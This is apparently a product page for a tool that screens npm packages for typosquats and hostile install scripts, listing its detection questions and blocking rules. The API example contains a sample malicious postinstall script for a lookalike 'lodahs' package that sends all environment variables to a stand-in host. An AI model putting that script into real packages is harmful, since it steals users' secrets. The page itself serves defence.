Package risk check
Catch typosquats and hostile install scripts before an install runs them.
One typo in an install command can pull in a lookalike package whose install script ships your environment variables to someone else. Give Jev the package name, what the registry says about it and its install scripts: it checks whether the name imitates a popular package, whether the scripts reach for the network, your secrets or files outside the package, and whether the code hides what it does. Run it in CI before dependencies install, or in front of an agent's install commands.
Try it live
Real calls to Jev. Pick an example or paste your own.
Pick an example or paste your own input, then run it.
Under the hood
Every question and rule, in the open. Fork it to change any of them.
What it asks
Reads package, intended, metadata and scripts, then asks 7 questions in one call.
- Q1Imitates a known packageYes / no
Is the
packagename a near-copy of a different, well-known package (a typo, swapped or doubled letters, an added or dropped hyphen, or a different scope), rather than that package itself? - Q2Not what was meantYes / no
Is the
packagea different package from theintendedone? With nointendedpackage given, answer no. - Q3Install reaches the networkYes / no quotes evidence
Do the
scriptsdownload or send anything over the network while installing (curl, wget, an HTTP request)? With noscripts, answer no. - Q4Install reads secretsYes / no quotes evidence
Do the
scriptsread environment variables, SSH keys, tokens, browser data or files outside the package's own folder? With noscripts, answer no. - Q5Hides what it doesYes / no
Do the
scriptshide what they do, with encoded strings that get decoded and run, or deliberately unreadable code? With noscripts, answer no. - Q6Thin track recordYes / no
Do the
metadatashow warning signs: first published days ago, very few downloads, no source repository, or a publisher unrelated to the project it claims to be? With nometadata, answer no. - Q7Risk of installingScore
How dangerous would it be to install the
package?- 0Safe: a well-known package with ordinary install steps
- 1Unclear: little is known about it, but nothing looks hostile
- 2Suspicious: it imitates another package, or its install steps reach beyond the package
- 3Malicious: it looks built to steal data or run hostile code
How it decides
Rules run in code, top to bottom. The first one that matches gives the verdict.
- 1If Install reads secrets ≥ 0.7Block
- 2If Hides what it does ≥ 0.7Block
- 3If Risk of installing ≥ 2.4 of 3Block
- 4If Imitates a known package ≥ 0.75 and Install reaches the network ≥ 0.5Block
- 5If Imitates a known package ≥ 0.5Reviewreview
- 6If Not what was meant ≥ 0.6Reviewreview
- 7If Install reaches the network ≥ 0.6Reviewreview
- 8If Thin track record ≥ 0.6Reviewreview
- 9If Risk of installing ≥ 1.4 of 3Reviewreview
- ·DefaultAllow
Call it from your code
Every template runs as-is with an API key, no setup: POST /api/v1/judges/package-risk-check/run.
curl -X POST https://tryevally.com/api/v1/judges/package-risk-check/run \ -H "Authorization: Bearer $EVALLY_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "input": { "package": "lodahs@4.17.21", "intended": "lodash", "metadata": "First published 2 days ago by '\''lodash-dev-team'\''. 41 weekly downloads. No repository.", "scripts": "\"postinstall\": \"node -e \\\"require('\''https'\'').get('\''https://cdn-npm.example.net/p?d='\'' + Buffer.from(JSON.stringify(process.env)).toString('\''base64'\''))\\\"\"" }}'Seen in the wild
Community builds on Jev that use this pattern. Not affiliated with Evally.
More in Engineering
- Engineering
PR risk review
Is this pull request safe to merge, or does it need a careful human look?
Safe to mergeNeeds careful reviewChanges requested7 questions - Engineering
Semantic code lint
Lint code against conventions written in plain English, the rules a regex can't express.
CleanWarningsViolations5 questions - Engineering
Commit message check
Does the commit message match the staged diff, with no secrets or debug leftovers?
Looks goodAmendBlock5 questions - Engineering
PR labeler
Label pull requests by type and area, and flag what belongs in the changelog.
FeatureBug fixRefactor+64 questions - Engineering
Vulnerable code check
Flag injection, path traversal, hardcoded secrets and other common holes in a change.
CleanReviewVulnerable4 questions - Engineering
Judge question review
Review a question before Jev answers it: two judgments in one, inputs no option fits, a rating hiding in a yes/no.
Good to goImproveRewrite3 questions - Engineering
Should this be a judge?
Paste a prompt from your code. Find out whether it's really a decision a judge would answer faster and cheaper.
Use a judgeSplit itKeep the LLM4 questions